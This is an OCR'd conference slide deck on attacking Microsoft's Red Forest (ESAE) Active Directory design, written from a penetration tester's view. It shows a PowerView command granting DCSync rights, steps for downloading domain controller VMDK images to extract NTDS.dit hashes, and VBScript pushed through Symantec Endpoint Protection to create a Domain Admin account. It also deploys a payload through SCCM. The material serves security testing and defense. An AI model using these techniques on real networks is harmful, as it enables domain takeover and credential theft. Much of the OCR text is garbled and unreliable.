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RED FOREST OVERVIEW

= Shorthand for Active Directory Enhanced Security Administrative Environment
(ESAE)

= An Active Directory architecture design concept by Microsoft

= Intended to limit administrative credential exposure through:
= A hardened administrative environment

= A standalone forest that is used to manage a production forest/domain administration functions via
encrypted channels

= Active Directory object partitioning
= Tiered segregation of Active Directory objects

ESAE Admin Forest

One-way trust provides administrative access

Production Forest

AD Partitioning
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RED FOREST OVERVIEW — TIER MODEL

= Red Forest builds on the idea of Active Directory “rings” or “tiers” separating
levels of administrative privilege for both systems and accounts

= Tier O

= Accounts: Forest / Domain administrators

= Systems: Domain controllers /other critical servers used to purely support Domain controllers
= Tier 1

= Accounts: Server administrators

= Systems: Servers used to support regular business functions such as application / database
servers

= Tier 2
= Accounts: Workstation administrators
= Systems: End-user devices such as desktops, laptops, and mobile devices




RED FOREST OVERVIEW — TIER MODEL

Enterprise Identity Tier (Tier 0)

Remote Access via the same Tier

. . . Lower tier accesy | access denied
Higher tier faccess denied

Enterprise Application Tier (Tier 1)

Remote Access via the same Tier

Higher tier [laccess denied Lower tier accesy | access denied

Enterprise User Tier (Tier 2)

D Remote Access via the same Tier

Desktops, Laptops, and other end-user
devices




RED FOREST OVERVIEW — ADMINISTRATIVE FOREST o7

= ESAE forest is isolated from the production forest with network access control

= One-way trust from production to ESAE forest is enforced

= No production AD Admin accounts / groups have access to ESAE forest

= All AD Admin accounts / groups are managed by a password management solution

= Two-factor authentication, strict logging and alerting, and other security controls
should be in place within ESAE




RED FOREST OVERVIEW — RDMINISTRATIVE FOREST

ESAE Admin Forest

One-way trust provides administrative access

Access provided by
Privileged Identity Management
Solution

Privileged Identity Management
Forest (ESAE)

Privileged Identity Management

Access provided by

Privileged Identity Management Forest (Production)
Solution
W =




RED FOREST OVERVIEW — CHALLENGE FOR PENTEST >

Enterprise ldentity Tier (Tier 0)

Remote Access via the same Tier

. . . Lower tier acces§ | access denied
Higher tier [laccess denied

Enterprise Application Tier (Tier 1)

Remote Access via the same Tier

Higher tier [access denied Lower tier acces§ | access denied

Enterprise User Tier (Tier 2) -
—

Remote Access via the same Tier @
e— .-]

Desktops, Laptops, and User
devices



RED FOREST OVERVIEW — CHALLENGE FOR PENTEST %%

= We will primarily focus on attacking Tier O during this presentation

Enterprise Identity Tier (Tier 0)
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ATTACK RED FOREST VIR ABUSING AD PERMISSION

= Look for “Shadow Admin” accounts not protected by the Red Forest
= Accounts / Groups with DCSYNC rights

= Accounts / Groups with special control to root domain objects
= Microsoft Exchange servers
= Accounts / Groups with special control to AdminSDHolder

Shadow Admin accounts are accounts in your network that have sensitive privileges and
are typically overlooked because they are not members of a privileged Active Directory
(AD) group — Cyber Ark




ATTACK RED FOREST VIA ABUSING AD PERMISSION
ACCOUNTS / GROUPS WITH DCSYNC RIGHTS

= Accounts / Groups with DCSYNC rights

= Look for accounts / groups with the following permissions:
= Replication Directory Changes
= Replication Directory Changes All

= Applications often requires / misconfigured with DCSYNC permission
= Microsoft SharePoint
= RiverBed Technology
= Azure AD Sync




ATTACK RED FOREST VIA ABUSING AD PERMISSION \\#
RCCOUNTS / GROUPS WITH DCSYNC RIGHTS T

Microsoft SharePoint User Profile

Synchronization (UPS) service account
always misconfigured with full AD Permissions @)
replication rlghtS Select the permissions you want to delegate H
= The UPS service account of SharePoint requires -
the following permission Show theso permissions:

Vv General

= Replicate Directory Changes (Only) - e .
roperty-specific

(The Replicate Directory Changes permission [ Creation/deletion of specific chid objects

does not enable an account to create, change or

delete Active Directory Domain Services object.) Pk
. . . [ Read Al Properties Z_I
= However, the UPS service account of SharePoint is [ Wiite Al Propetties ,
always given both of the following permissions [] Read and wite domain password & lockout policies |
within the Enterprise environment: [_E Replicating Directory Changes
. . Rephcation synchronization
= Replicate Directory Changes T Manoos ieekialion Vit f

* Replicate Directory Changes All (Wrong)




ATTACK RED FOREST VIA ABUSING AD PERMISSION
ACCOUNTS / GROUPS WITH DCSYNC RIGHTS

Riverbed SteelHead AD service account riverbed help

requires full AD replication rights for AD

Optimization

integration (R]_'V'erbed Techno]_og‘y’ is the manufacture Configuring Citrix Optimization Granting Replication User Privileges on the DC

Configuring FCIP Optimization

of WAN optimization, and mainly used for network T S— 1 v, open At e Diectory s n Computers and choose Start Adminitrtie Toos Active
performance monitoring and application performance O(i;?r::igzl:tiir:)i-apw"m 2. Select the domain name, right-click, and select Delegate Control.
manage me nt) :::::::'Zl;r:ir::nuthenlication 3. Select one or more users to whom you want to delegate control, and click Add.
. . . Authentication Automatically 4. Click Next.
= Replicate Directory Changes (Required) e —

Configuration 5. Select Create a custom task to delegate and click Next.

Configuring Domain

= Replicate Dil’eCtOIY Changes A.].]. (Require d) Authentication for Delegation 6. Select This folder, existing objects in this folder, and creation of new objects in this folder. Click Next.

FRErg G e [7-Setect General > Replicate Directory Changes. |
Configuring Domain
Authentication Manually | 8- Select Replicate Directory Changes All and click Next. |

Delegation (deprecated)
9. Click Finish if the correct groups and users appear with the permissions Replicating Directory Changes an

Replicate Directory Changes All.

Autodelegation Mode (deprecated)




ATTACK RED FOREST VIA ABUSING AD PERMISSION
ACCOUNTS / GROUPS WITH DCSYNC RIGHTS

Azure AD Sync service account requires
full AD replication rights for password
synchronization between current AD DS
and Azure Active Directory:

* Replicate Directory Changes (Required)

* Replicate Directory Changes All (Required)

‘docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadcor E eee W

Permissions for the created AD DS account for express settings

The account created for reading and writing to AD DS have the following permissions when created t

settings:
Permission Used for
¢ Replicate Directory Changes Password sync

* Replicate Directory Changes All

Read/Write all properties User Import and Exchange hybrid
Read/Write all properties iNetOrgPerson Import and Exchange hybrid
Read/Write all properties Group Import and Exchange hybrid
Read/Write all properties Contact Import and Exchange hybrid

Reset password Preparation for enabling password writeback




ATTACK RED FOREST VIA ABUSING AD PERMISSION
ACCOUNTS / GROUPS SPECIAL CONTROL TO ROOT DOMAIN OBJECTS

= Look for accounts / groups with the PLIGEEREl OISl eI [t [x
special control to the root domain object Pemissions ??jl.
such as “DC=DOMAIN, DC=COM” as py - (™
well as all child objects Show these permissions:

= Full Control: Rights can be used to perform (v General
DCSYNC directly [ Propsty-speciic

[] Creation/deletion of specific child objects

Permizsions:
L Full Cantral
JEARIEED

Wirite
Create &l Child Objects

Delete All Child Objects
Read &l Properties

< Back || Mest = || Cancel || Help




ATTACK RED FOREST VIR ABUSING AD PERMISSION
MICROSOFT EXCHANGE SERVERS

= Two secret AD groups of Microsoft Exchange
= Exchange Windows Permissions

= Exchange Trusted Subsystem

= The Exchange Windows Permissions security group is located in the Microsoft Exchange Protected
Groups OU.

= The Exchange Trusted Subsystem security group is a member of the Exchange Windows Permissions
security group.

= The machine accounts of Exchange servers are direct / nested members of these two groups

= Description from Microsoft: These two AD groups contain Exchange servers that run Exchange cmdlets
on behalf of users via the management service. Its members have permission to modify all Windows
accounts and groups




ATTACK RED FOREST VIR ABUSING AD PERMISSION
MICROSOFT EXCHANGE SERVERS

The machine accounts of Exchange servers potentially have the power to delegate
permissions such as DCSYNC to any domain user accounts

PoweView command run by NT Authority\SYSTEM of Exchange server : Add-DomainObjectAcl -
Targetldentity 'DC=DOMAIN,DC=COM' -Principalldentity username -Rights DCSync

Own Exchange, Own the Forest ! (exchange 2010 and 2013)
Exchange 20167 Office 365 ?

Permission Details |

A Security Principal

Permission From Object:  sim.net Display Mame:  Exchange Windows Permissions

~ ) Security Principal Account Mame: MIS\Exchange Windows Permissions

Display Mame:  Exchange Windows Permissions S 3-1-5-21-2904754717-3054431 034-791963521-1118
Account Narne: SIM\Exchange Windows Permissions Type: E‘ Eroup
SI0: 5-1-5-21-1229516745-2488835454-1006917404-1139 h

Type: 82, Group
b ~  fAccess Control Entry

A | Access Control Entry Type: o Allow

Exchange ‘ i ' Exchange ‘ Inherked: Ko
20 1 3 Rpply To: uI:zrchild abjects 20 1 O Apply To: user child objects

Permissions: Permissians:

Permission Allow o]
Delete
[elete subtree
todify permissions

Change Passward

i
=]
e

Parmission | Allow | Deny |

Eudifg :ermissiuns Iv I I
Change Password |s | @

Reset Password v |

dEjE e €
1OEpEO

Recet Pacanenrd



ATTACK RED FOREST VIR ABUSING AD PERMISSION
MICROSOFT EXCHANGE SERVERS

* Exchange Windows Permissions -> Modify
Parent Permission

Group

|

« Exchange Trusted Subsystem-> Modify Permission }

Regular domain user
accounts

!

« Exchange Machine Accounts -> Modify Permission Assign DCSYNC rights




ATTACK RED FOREST VIA ABUSING AD PERMISSION i)
MICROSOFT EXCHANGE SERVERS



F:/Troopers/exechange/Exchange.mp4
../../../demo/Exchange.mp4

A

RTTACK RED FOREST VIA ABUSING AD PERMISSION {\¢
RCCOUNTS / GROUPS WITH SPECIAL CONTROL TO ADMINSDHOLDER p L4

AdminSDHolder Properties _

_. General Obiject Security 1 Attribute Editor |

= AdminSDHolder
= AdminSDHolder is an object located in the

Cananical name of object:

System Partition in Active Directory [ pstenvAdnie0Hoe

(cn=adminsdholder,cn=system,dc=domain,

d c=c Om) Object class: Container

Created: 41142016 5:02:35 PM

= The Access Control List (ACL) of the Modified: 1/5/2018 1:59:15 PM

AdmlnSDHOIder ObjeCt iS used as a Update Sequence Mumbers [USNs):

template to replicate permissions to all Curent 10495728

“protected groups” in Active Directory and Orginat 5865

their members including Domain Admins

Protect object from accidental deletion

= The Security Descriptor propagator
(SDProp) process runs every 60 minutes on
the PDC Emulator and re-stamps the object
Access Control List (ACL) with the security
permissions set on the AdminSDHolder.

oK | | Cancel Apply




ATTACK RED FOREST VIA ABUSING AD PERMISSION
ACCOUNTS / GROUPS WITH SPECIAL CONTROL T0 ADMINSDHOLDER ¥

= Look for accounts / groups with the special control to AdminSDHolder
= Full Control: Rights used to add users into Domain Admin group

= Modify Permission: Rights used to give permission to add users into Domain Admin group
= Write Permission: Rights used to add users into Domain Admin group

AdminSDHolder Propertes 7 1K | Permission Entry for AdminSDHolder

General I{ Object| Security [ Atribute Editor ) Object IProperties ]
Group or user names: Principal:  exchange (SIM\exchange) Select a principal
82, Cert Publishers (SIM\Cert Publishers) ~ Mame: ] exchangetest: Change... I
52, Enterprise Admins (SIM\E nterprise Admins) Type: | Allo h |
52, Adrinistrators (SIM\Administrators) Apply to: IThis object only j
52, PreWindows 2000 Compatible Access (SIM\PreWindows 200... o Applies ta: |Thi$ object and all descendant objects by |
2 redteam (SIMyvredteam) Permissions: Allow Deny
2. Windows Authorization Access Group [SIM\Windowes Authorizat... ™ Full control m| o =~
Add... List contents O a
Permissions for redt Al b Read all properties a a Perrnissions:
SSSSSSSSSSSSSS im oW ny . -
r Full contral i 0 4 Wr;tg allproperties E g [ Full contral [] Delete msExchOnganization
— : Delete
Vi
sver:z S E Delete sublree O g [[]List contents [[] Create msExchOrganization
Create all child objects O Read permissions O ] -
Delete al chid objects o~ Lilodity porrissions el L [v] Read all properties [ ] Delete rnsEechOrganization
For special permissions or advanced settings, click Modfy owner O g ’
" I IS " v i -, Cli " -
Advanced . Advence d All validated writes O g [[]Create msExchOrganization
Create all child objects O o .
= Ay e s il Clear &l | || Delete [ | Delete rsExchOrganization
Ok l [ Cancel ‘ ‘ Apply l Help containers within this container only,

€
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ATTACK RED FOREST VIR MANIPULATING
VIRTUALIZATION PLATEORM

= Virtualized Infrastructure becomes a very attractive target for attackers due to the
number of potential guest machines that can be compromised and also the sheer
power of virtualization servers.

= Should you protect VM administrator the same level as Domain Administrator?

= Does your organization have virtualized Domain Controllers?
= Have you enable full disk encryption on guest VM? (BitLocker, PGP, Truecrypt, etc.)

= VM disk (.vidk) are often stored over file servers such as NFS, iSCSI. Are file server
permissions set appropriately?




ATTACK RED FOREST VIA MANIPULATING
VIRTUALIZATION PLATEORM

HOW MANY PEOPLE HAVE ACCESS TO VCENTER MANAGEMENT CONSOLE IN YOUR ORGANIZATION?

wSphere Client

¥Mware vCenter Server, 5.5.0, 2001466

File Edit ‘iew Inventory Administration Plug-ins Help
Ho 7 Permissions @ @ |E§ Home b g8 Inventory [ &) ¥Ms and Templates | ﬁ'-lv Search Inventory
| Raole | Defined in
Adrminiskrator This l:ltlel:t ; - Mware ¥Center Servel 0, 2001466
L ¥ This abject Datacenters
This object Marme carkains:
'\l _ This DhjEEt Name Hosts virtual Machines | Alarm Actions
oo : ' i . i - 3 : 2 52 Enabled
Adrninistr akor This obiject 3 12 Enabled
Adminiskrakor This object 2 21 Enzbled
L ) ) 2 30 Enabled
Adrninistrakor This object 2 S Enabled
This l:lbjEl:t 7 156 Enabled
i i 76 1315 Enabled
This abject 213 4502 Enabled
This object
This object
This abject
This object
This object
This object
This object
This object
This object
TI'IIS l:ll:leEt Recent Tasks Mame, Target or Status containz: = l
This obiect Mame | '[arget | Skatus | Details | Initiated by | vCent_ar Sarver_ Reguested Start Ti... = | Start Time ‘ Compleked Time |
) @ Delete virtual maching RN @ Completed ik i s ¥ %
ThiS DhjEEt @ Power OFf virtual mach. .. @  Completed @ -
This l:ltleEt ? Migrate virtua! machine @ Completed @ ;




ATTACK RED FOREST VIA MANIPULATING
VIRTUALIZATION PLATEORM

BYPASS NETWORK LOGON RESTRICTION WITH KVM/CONSOLE ACCESS
@

- vSphere Client
File Edit View Inventory Administration Plug-ins Help
ﬁ Ej Eﬁ Home D g§] Inventory b Eﬂ Hosts and Clusters vento
an i | 255 =% | | - & 1,
N80 GRS
=] ~ E
General Resources Sign in_
Guest 053 Consumed Host CPU:
VM Version: Consumed Host Memory:
CPU: Active Guest Memory:
= Memory:
@Bl Power » perhead: Provisioned Storage:
g Guest » bols: Not-shared Storage:
! B Shapshot y fes: Used Storage:
@B @ Open Console Saidiails =
B o
D 3%  Edit Settings... .
@ 1B Migrate...
Network
28 18 cone. - v
£ Template » >
Recent Tasks Fault Tolérance » Name, Target or Status contains: I Clear X
Name VM Storage Profile » 5 | Details | Initiated by | vCe
Add Permission... Ctrl+P
Alarm »
< >
r Report Perf
7 Tosis @ Alarms eport Performance. =

Rename

Ctrl+Alt+N

Open in New Window...
Remove from Inventory

Delete from Disk




ATTACK RED FOREST VIA MANIPULATING
VIRTUALIZATION PLATEORM

VIRTUALIZATION SOLUTION — VMWARE VCENTER / ESXI

= Target virtualization solution used for Red Forest - VMware vCenter / ESXi

= Attack prerequisites:

= VMware vCenter servers used to manage critical servers such as Domain Controllers are not
protected as Tier O systems (common)

= Admin-level access obtained to VMware vCenter

= Attack objective:
= Retrieve VMDK images from the datastore of vCenter
= Attack procedures:
= Option #1: Leverage vSphere client to retrieve VMDK images from the datastore browser
= Option #2: Leverage Veeam backup client to retrieve VMDK images
= Option #3: Leverage PowerShell via VMware PowerCLI to retrieve VMDK images




ATTACK RED FOREST VIA MANIPULATING
VIRTURLIZATION PLATFORM

VIRTUALIZATION SOLUTION — VMWARE VCENTER / ESXI

11418,
11418

. . £ Deveion —
Leverage vSphere Client to retrieve B @ e SRR
. B s @ [s
VMDXK images from datastore: “g e — |
’ - = 104,357,50?.2:0 ::;\Disk o e T;T;
= Authenticate to VMware vCenter / ESXi via % ; f
vSphere client. :{% s o s

10.73 KB Virtual Machin
10.73 KB Virtual Machin
10.73 KB Virtual Machin
10.73 KB Virtual Machin:
2.53KB Virtual Machine
0.26 KB File

0.00KE File

11418,
. 1y1g f
11118,

= Identify the target server (i.e. Domain
Controller)

4/30/2
SEi 22802
S 1118,

* DoRPOoOoCoo® FOF §
Wit s ssss asst

= Go to the Summary tab

= Under Resources, right click the datastore o o e e e
under “storage” (should be next to a gray icon)

= Go to the VM name and download the VMDK
file(s)

S Microsoft Windows Server 2008 FL2 (64Dt
S .- Microsoft Windows Server 2008 R2 (54-bit)

Drawback: This approach does not work all the
time in VMware vCenter environment, especially
for hot clone




ATTACK RED FOREST VIA MANIPULATING
VIRTUALIZATION PLATEORM

VIRTUALIZATION SOLUTION — VMWARE VCENTER / ESXI

Leverage PowerShell via VMware

& VMware vSphere PowerCLI6.0 Release 1 (o[ -]
PowerClLI to retrieve VMDK images
Downloading datastore item
= Connect to VMware vCenter / ESXi via VMware T oIs aeaniatas e
PowerCLI by initializing the
connection/session using the Connect- PowerCLI 135 Now-PSbrive. Pibrovider UimDatastore -Name FiveH —Root ™" -Datast

Vlserver Command' Used (GB> Free (GB) Provider Root

UimDatastore \192.100.1.175CG443\ha-d...

= Obtain the names of the datastore and map

them individually to a drive using New-PSDrive owerCLI Fivehia> die
. Datastore path: [FiveHundred]
= Download the VMDK files from the targeted L UiteTine o Tiime
datastore 6/26,2013 18:31 AM Folder
12/13,20817 12:21 PM Folder
: ~ 10/95/5017 513 P Folder
Drawback: This approach does not consistently 12/12/2017 2:26 PM Folder

. . 12,13/2017 10:34 AM Folder
work in the VMware vCenter environment,

PowerCLI FiveH:\> Copy-Datastoreltem —Item FiveH:\ A1-flat.umd

especially for hot clone. k —Destination ¥:\




ATTACK RED FOREST VIA MANIPULATING
VIRTUALIZATION PLATEORM

VIRTUALIZATION SOLUTION — VMWARE VCENTER / ESXI

Leverage Veeam backup client to
retrieve VMDK images

= Authenticate to VMware vCenter / ESXi via
Veeam backup client.

= Identify the target server (i.e. Domain
Controller)

= Backup / Replicate the VMDK files from the
targeted sever

Advantage: This approach is reliable even for hot S
clone. e




ETTACK RED FOREST VIR MANIPULATING
VIRTUALIZATION PLATFORM o

VIRTUALIZATION SOLUTION — VMWARE VCENTER / ESXI

Merge mu]'tip]'.e VMDI{ ﬁ']'es into a EX Administrator: Command Prompt - vmware-vdiskmanager.exe -r "D\lnetpub\.. L= a -
Slngle VMDI{ flle scsi adapter: L1MB, 20848.8GBI

vmuare—vdiskmanager.exe —¢ —s 850MB —a ide —t B myldeDisk.vmdk
vmuare—vdiskmanager.exe —d myDisk.umdk
vmuare—vdiskmanager.exe —r sourceDisk.umdk —t @ destinationDisk.uvm

= Download and inStall VSphere SDK from vmuare—vdizkmanager.exe —x 36GE myDiszk.vmdk

vmuare—vdiskmanager.exe —n sourceName.umdk destinationMame.umdk

Vmware Web Slte vmuware—vdiskmanager.exe —r sourcelDisk.vmdk -t 4 —h esx—name.mycomp

—u username —f passwordfile "[storagel l/path-sto targetDisk.umdk"
vmuare—vdiskmanager.exe —k myDisk.umdk

u Use the fOIIOWing Command to merge VMDI{ vmuare—vdiskmanager-exe —p <{mount—point>

i (A virtuwual disk first needs to be mounted at <{mount—point>>
files:

F:\DRUSPTHLD\hackup\UHuaPe—uixfdisklih—S.5.3—1989144.x36 64\hin)umuare—udiskmanal

* vmware-vdiskmanager.exe —r “C:\path to vimdk ger-exe —r 'D: : : undk" ~t O
. ' . 5 = z x S— . .
flle\ —t 0 new_flle_name_vmdk :_L¥u1 KLib: Invalid configuration file parameter Failed to read conf Lguration

reating disk 'os—drive.uvmdk’
Convert: 188 done.
irtual dizk conversion successful.

er.exe —r '
data.vmdk
Failed to read contiguration

reating disk 'data.unmdk’
Convert: 2x d




ATTACK RED FOREST VIA MANIPULATING
VIRTUALIZATION PLATEORM

VIRTUALIZATION SOLUTION — VMWARE VCENTER / ESXI

. . L
Use OSFMount to access file systems in —
o View
scsi aqg )
o ex 1: vnware-vdisknanager OSFMount - Mount drive z8 - B New item
MD flles ex 2= umware—udisknanager. —
V l{ - = 3: unware—vdisknanager -, Downloads - O
4: vmuare-vdisknanager | @ Imagefile O Imagefiein RAM (O Empty RAM drive )
2y Lo unuare—udicknanaoer
I 7| -
Yeear & Image Fle [=[a] x ] ’—p‘
A File Driveactions Help | ‘ D OSFMount - Status
Virtua & Mounted virtual dif ~ V"Warelmase Analying file
- @ Diive  Image file name “olume options
4 Mount specified partition Select Mount all partiions ! Selecta partition in image = x
Image file offzet
| Use entire image file
101.9 MB (NTFS/HPFS AesFAT
® Butes () Blocks () KBytes () MBytes () GBytes i
Drrive: size:
® Bytes () Blocks () KBytes () MBytes () GBytes
Mount options
vi
; D e
tE'g Storage Infras
P < Drrive tupe: HOD v
'\E Tape Infrastru
Diigrnount Fead-only drive
|j_| Files [ Mount as remavable media
%} History
Ok
»
1 virtual machine selected

2iterns 1 item selected 2.06 MB

{




ATTACK RED FOREST VIA MANIPULATING
VIRTUALIZATION PLATEORM

VIRTUALIZATION SOLUTION — VMWARE VCENTER / ESXI

= Mount VMDXK file as a loop device on using the following command once the VMDK
file is downloaded :

mount xxxxx-flat.vimdk <mount path> -o ro,loop=/dev/loopX,offset=<offset> -t ntfs

= Retrieve sensitive files such as NTDS.dit and dump password hashes:

| EBD5DA3D22: /tmp$ s /media/j/7AE0242D79F7DAL1F/5TB Share/test/

bootmgr Documents and Settings
BOOTNXT pagefile.sys
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ATTACK RED FOREST VIR LEVERAGING ENDPOINT
PROTECTION TECHNOLOGIES

= Target endpoint security / management solutions used for Red Forest
= Antivirus security solution

= Configuration management solution
= Network backup solution




ATTACK RED FOREST VIR LEVERAGING ENDPOINT

ANTIVIRUS SECURITY SOLUTION — SYMANTEC ENDPOINT PROTECTION MANAGER CONSOLE

= Target antivirus security solutions used for Red Forest — Symantec Endpoint
Protection Manager Console

= Attack prerequisites:

= Symantec Endpoint Protection servers used to manage critical servers such as Domain Controllers
are not protected as Tier O systems

= Admin-level access obtained for Symantec Endpoint Protection Manager Console
= Attack objective:

= Push payload from Symantec Endpoint Protection Manager Console to managed endpoints
= Attack procedures:

= Create a new Host Integrity Policy

= Create a Custom Requirement for the new Host Integrity Policy

= Create payload by adding a Function

= Assign the created Host Integrity Policy to Tier-0 server group




ATTACK RED FOREST VIR LEVERAGING ENDPOINT

ANTIVIRUS SECURITY SOLUTION — SYMANTEC ENDPOINT PROTECTION MANAGER CONSOLE

= Execute scripts by creating Host Integrity Policy:
= Go to Policies > Host Integrity > Add a new policy

U Default - Syrnantec Endpoint Protection Manager EI'E w WEB Script Push

) symantec Endpoint Protection Manager “Latestlerts Refresh Help Log off

Host Integrity Policy

Policies

) - CivErwicwy Overview
Host Integrity Policies Renuirements

Hame Description Location Use Count Acvance o SEﬂingS Policy Hame Used By

Host Integrity policy Created automatically during product installation o

I B Script Push 4 I Policy name: B Script Push

— peeeen

v Enable this pdicy

Created: addrmin
Last modified: March 7, 2015 12:00:26 AM CST




ATTACK RED FOREST VIR LEVERAGING ENDPOINT

ANTIVIRUS SECURITY SOLUTION — SYMANTEC ENDPOINT PROTECTION MANAGER CONSOLE

= Create a Custom Requirement for the new Host Integrity Policy

@ Host Integrity Policy
Host Integrity Policy

OwErvisss

Advanced Settings

(=

Requirements
When =hould Host Integrity checks be run on the client?

*+ Alwsys do Host Integrity checking

Only do Host Integrity checking when connected to the management server

T add Requirerment @

Add a Host Integrity requirement
Specity the type of requirement that you weant to add. You can use a predefingd type, creste
& custom requirement, or use a template.

Enable
Select client platform:

I Windows I

Select requirement:

Artivirus reguirement Custom Reguirement:

Antizpyware requirement Create a custom Host Integrity rule to check a
Firesweall requirement cliert computer for software, processes,

Patch raquirement services, registry values, or files (including age,

Zervi " ) it dsta, zize, version, or fingerprint). You can
specify & sequence af conditions and actions for
the custom recuirement.

Uze existing templates..

Ok Cancel Help
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ATTACK RED FOREST VIR LEVERAGING ENDPOINT

ANTIVIRUS SECURITY SOLUTION — SYMANTEC ENDPOINT PROTECTION MANAGER CONSOLE

= Create payload by adding a Function

Customized Requirement Script

nt fais
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ATTACK RED FOREST VIA LEVERAGING ENDPOINT %

ANTIVIRUS SECURITY SOLUTION — SYMANTEC ENDPOINT PROTECTION MANAGER CONSOLE

= Create payload by adding a Function

= Create a user account & add it into Domain Admins group

Custom Requirement

Name Script Run

Client Type: Windows

Customized Requirement Script
/nsert statements below:
(Ut Runacerpt |
Utility: Run a script
Utility: Run a script
Pass
B IF
Antispyware: Antispyware is installed
EH THEN
Hnsert statements here:
Utility: Run a script
Pass
= ELSE
Hnsert statements here:
Utility: Run a script
Pass
END IF
Pass

Select a function:

Utility: Runascript

File name (for example, myscnet, s). create_domain_user.vbs I

Script content:

strComputer = "."

strUser = "redteam0"
strPassword = "Password1"

Set colAccounts = GetObject("WIinNT-//" & strComputer & ")
Set objUser = colAccounts Create("user”, strUser)
objUser.SetPassword strPassword

objUser.Setinfo

Execute the command (use %F % to specify the script file name)
cscript %F%

Specify the Maximum Waiting Time for the Program to Complete

Wait until execution completes

Iftimed out, the execution willbe terminated.

Custom Requirement

Name. Script Run

Client Type: Windows

Customized Requirement Script
Mnsert statements below:
Utility: Run ascript

R

Antispyware: Antispyware is installed
E THEN
insert statements here:
Utility: Runa script
Pass
B ELSE
Hnsert statements here:
Utility: Runa script
Pass
ENDIF
Pass

Select a function:

Utility: Runascript

File name (for example, myscript,]sl Add_Domain_Admin.vbs

TC np| coment

dim groupPath
dim userPath

groupPath = "LDAP://cn=domain admins,cn=users,dc=sim,dc=net"
userPath = "LDAP://cn=redteam0,cn=users,dc=sim,dc=net"

addToGroup userPath,groupPath

sub addToGroup(userPath, groupPath)
dim objGroup
set objGroup = getobjeci(groupPath)

for each member in objGroup.members
if lcase(member.adspath) = Icase(userPath) then
exit sub
end if
next
objGroup.Add(userPath)

end sub

Execute the command (use %F % to specify the script file name):
cscript %F%

g
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ATTACK RED FOREST VIR LEVERAGING ENDPOINT

ANTIVIRUS SECURITY SOLUTION — SYMANTEC ENDPOINT PROTECTION MANAGER CONSOLE

= Assign the created Host Integrity Policy to Tier-0 server group

W Aszign Host Inteqrity Palicy [=]
Host Integrity Policy: TEST
Assign Policy

The tree helowy showes the groups of locations to which youw can assign the selected Host Integrity Palicy.
Select the groups of locations below. To select all subgroups and locations, right-click the parent group and

chooze Select A Subgroups. Groups and locations with & check mark already have a Host Integrity Palicy
aszigned to them.

Caution

Clicking &= =zign will azsign thiz Host Integrity Policy to all selected groups or locations, replacing the existing
Host Irtegrity Palicy they are currertly using.

= My Company
Default
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ANTIVIRUS SECURITY SOLUTION — SYMANTEC ENDPOINT PROTECTION MANAGER CONSOLE
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ATTACK RED FOREST VIR LEVERAGING ENDPOINT
CONFIGURATION MANAGEMENT SOLUTION — SCCM

= Target configuration management solutions used for Red Forest — System Center
Configuration Manager (SCCM)

= Attack prerequisites:

= SCCM servers used to manage critical servers such as Domain Controllers are not protected as
Tier O systems

= Admin-level access obtained for SCCM
= Attack objective:
= Push payload from SCCM Console to managed endpoints
= System Center Configuration Manager GUI
= PowerSCCM
= Attack procedures:
= Create a SCCM connection
= Create a SCCM application (Payload)
= Deploy SCCM application to the targeted collection (Target)




ATTACK RED FOREST VIR LEVERAGING ENDPOINT ~
CONFIGURATION MANAGEMENT SOLUTION — SCCM

» Create a SCCM connection

PR o | Foloer -
& Y
= Y e
L ¢ o
Create Device  Impart Saved
Collection  Collections Searches -
Create Search
& « [£# \ + Assetsand Compliance » Overview » Device Collections -
Assets and Compliance %  Device Collections 9
4 B Overview Search Add Criteria
_l‘: Users lcon Mame Limiting Collection Member Count | Members Visible on Site Referenced Collections
4 K Devices [ All Desktop and Server Clients All Systems 3 3 0
& All Desktop and Server Clients [ All Mobile Devices All Systems 0 0 0
# User Collections L All Systems 6 6 0
¥ Device Collections l'.- All Unknown Computers All Systems 2 2 0
[ SCCM All Deskt dSe.. 0 0 0
?_;x User State Migration . Y SeKiap and 5
[ TestDevices All Systems 1 1 0
_ Asset Intelligence - o
— [ TestVictims All Systems 0 0 0
|=5 Softw Met: -
Le= Sethware Metenng & vic All Desktop and Se... 1 1 0
_ Compliance Settings oF Victims 1 1 0
_| Endpoint Protection

| All Carporate-owned Devices

Assets and Compliance
ﬁ Software Library
.‘ Monitoring

[, Administration

Ready
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ATTACK RED FOREST VIR LEVERAGING ENDPOINT
CONFIGURATION MANAGEMENT SOLUTION — SCCM

= Create a SCCM application

i I Create Application Wizard I | x| e I Create Deployment Type Wizard I [x
gg Deployrnent Types E gg Summary
Baer Configure deployment types and the priarity in which they will be applied for this Gereal Confirm the settings for this deployment type
General Information Elpp“CElTIOﬁ General Information
Application Catalog Content
Creployment types include information about the installation method and the source files for this application. Detection Methad Details:
5 .
ummary UbarEpaiiame General Information:
Progress Deployment types: Requirernents + Name: Payload
. « Technology: Script Installer
Cornpletion Filer Dependencies - Administrator comments:

» Languages:

Priority  Name Type Languages
Th i in thi Progress Content: )

ere are no ke bo show in this view. 9 « Content location:
Campletion »+ Persist in client cache: No
« Enabled peer-to-peer content distribution: Yes
» Installation pregram: 1172.20.0.113'share\payload exe
« Installation start in: C:Windows'System32

)| Detection Method:

User Experience:
« Installztion behavior: Install for system
» Login reguirement: ‘Whether or not & user is logged on
« Installation priority: Mormal
« Allow users to interact with this program: No
« Maximum allowed run time (minutes): 120
« Estimated install time (minutes): 0

Requirements:

Dependencies

To change these settings, click Previous. To apply the settings, click Mest.

g

| < Previous H Mext » || Surmmary || Cancel




ATTACK RED FOREST VIR LEVERAGING ENDPOINT
CONFIGURATION MANAGEMENT SOLUTION — SCCM

= Deploy SCCM application to the targeted collection

(= Deploy Software Wizard -
:J)g Cornpletion
General
Content - .
oren "0" The Deploy Software Wizard completed successfully
Deployment Settings =
Scheduling Detals:
User Experience ;
Alerts & Success: General
« Software: SCCM Deploy
Summary = Collection: All Desktop and Server Clients (Member Count: 3)

« Use default distribution point groups associated to this collection: Disabled

IPregess « Automatically distribute content for dependencies: Enabled

C_l Success: Deployment Settings
= Action: Install
« Purpose: Available
= Allow clients to use a metered Internet conneclion to download content: Disabled

(_‘ Success: Application Settings (retrieved from application in software library)
« Application Mame: SCCM Deploy
« Application Version:
= Application Deployment Types: Script Installer

& Suceess: Scheduling
» Time based on: UTC
« Ayailable Time: As soon as possible
» Deadline Time: Disabled

&

To exit the wizard, click Close.

Close

=3




ATTACK RED FOREST VIR LEVERAGING ENDPOINT
CONFIGURATION MANAGEMENT SOLUTION — SCCM

= Accomplish the same attack procedures from PowerSCCM:
= $Creds = Get-Credentials
= Enter the credentials and they will be stored in the $Creds variable

